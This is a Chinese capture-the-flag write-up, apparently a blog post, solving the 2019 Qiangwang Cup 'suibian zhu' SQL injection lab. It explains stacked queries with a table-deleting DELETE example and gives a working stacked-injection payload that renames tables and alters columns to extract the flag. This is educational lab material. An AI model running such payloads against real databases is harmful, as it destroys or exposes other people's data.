[buu-web] 强网杯2019随便注

0x01堆叠注入原理(Stacked Queries)

在sql中,分号表示一条语句的结束。如果在分号(;)的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

举个例子:

输入:DELETE FROM products(未对输入的参数进行过滤)

服务器端生成的sql语句为:Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

0x02 进行注入尝试,获取信息

1、输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

2、尝试 1' or 1=1; #

 3、正常流程走起,order by 。

输入1' order by 3; # 时出现报错信息。

说明只有两个字段。

4、使用联合查询,遇到过滤信息。

 

返回一个正则过滤规则,几乎所有常用的字段都被过滤了。

5、尝试进行堆叠注入

 故可以存在堆叠注入。

6、进行查表。

 6.1、查询两个表中的字段。

 7、!!!!找到flag,接下来想办法获取flag

由于每次回显都是从 word 这张表中,所以推测内部的查询语句为:

select id, data from word where id =

(这里从上面的对word列的查询可以看到它是有两列,id和data)

然而过滤正则并没有过滤alert和rename关键字。

8、构造堆叠注入的payload,获取flag

        1.将words表改名为words2或其它任意名字

         2.1919810931114514改名为words

        3.将新的word表插入一列,列名为id

        4.将flag列改名为id

1';rename table `words` to words2; 
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables; 
show columns from words;# 

最后用1' or 1=1;#
求出flag

 0x03 重学SQL语句

想要在sql注入里更加灵活则必须对语句、函数有足够的熟悉。

一起对SQL语句进行复习吧!

SQL 教程icon-default.png?t=M1L8https://www.w3school.com.cn/sql/index.aspSQL学习,将会在明天更新。。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值